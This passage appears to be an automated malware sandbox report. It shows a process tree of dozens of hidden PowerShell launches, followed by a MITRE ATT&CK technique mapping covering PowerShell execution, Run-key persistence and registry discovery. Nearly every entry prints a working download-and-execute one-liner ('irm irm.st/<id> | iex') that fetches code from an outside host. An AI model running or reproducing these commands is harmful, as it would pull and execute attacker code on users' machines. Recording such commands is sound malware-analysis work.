  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/196826 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  PID:5920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/958812 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/958812 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/778587 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/778587 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/791935 | iex"
1⤵
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/791935 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/394477 | iex"
1⤵
PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/394477 | iex"
  2⤵
  PID:5472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/506361 | iex"
1⤵
PID:5688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/506361 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/530223 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/530223 | iex"
  2⤵
  PID:4112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/516192 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/516192 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/587330 | iex"
1⤵
PID:4516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/587330 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/496760 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/496760 | iex"
  2⤵
  PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/925917 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/925917 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/488956 | iex"
1⤵
PID:3684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/488956 | iex"
  2⤵
  PID:2560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/239471 | iex"
1⤵
PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/239471 | iex"
  2⤵
  PID:2980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/291736 | iex"
1⤵
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/291736 | iex"
  2⤵
  PID:5884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/859383 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/859383 | iex"
  2⤵
  PID:4128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/335159 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/335159 | iex"
  2⤵
  PID:3704
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/728996 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/728996 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/454150 | iex"
1⤵
PID:3132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/454150 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/508881 | iex"
1⤵
PID:3688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/508881 | iex"
  2⤵
  PID:4228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/565857 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/565857 | iex"
  2⤵
  PID:5528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/454106 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/454106 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/202198 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/202198 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/222686 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/222686 | iex"
  2⤵
  PID:1196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/450286 | iex"
1⤵
PID:5368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/450286 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/177041 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/177041 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/650312 | iex"
1⤵
PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/650312 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/770618 | iex"
1⤵
PID:5452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/770618 | iex"
  2⤵
  PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/384128 | iex"
1⤵
PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/384128 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/442045 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/442045 | iex"
  2⤵
  PID:1300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/962226 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/962226 | iex"
  2⤵
  PID:804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/661456 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/661456 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/575047 | iex"
1⤵
PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/575047 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/485357 | iex"
1⤵
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/485357 | iex"
  2⤵
  PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/751085 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/751085 | iex"
  2⤵
  PID:3436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/533145 | iex"
1⤵
PID:3256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/533145 | iex"
  2⤵
  PID:3548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/142249 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/142249 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/869235 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/869235 | iex"
  2⤵
  PID:5800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/172380 | iex"
1⤵
PID:3404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/172380 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/686858 | iex"
1⤵
PID:3600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/686858 | iex"
  2⤵
  PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/781996 | iex"
1⤵
PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/781996 | iex"
  2⤵
  PID:4628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/555946 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/555946 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/903365 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/903365 | iex"
  2⤵
  PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/252384 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/252384 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/570650 | iex"
1⤵
PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/570650 | iex"
  2⤵
  PID:1440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/998238 | iex"
1⤵
PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/998238 | iex"
  2⤵
  PID:4912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/225341 | iex"
1⤵
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/225341 | iex"
  2⤵
  PID:3828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...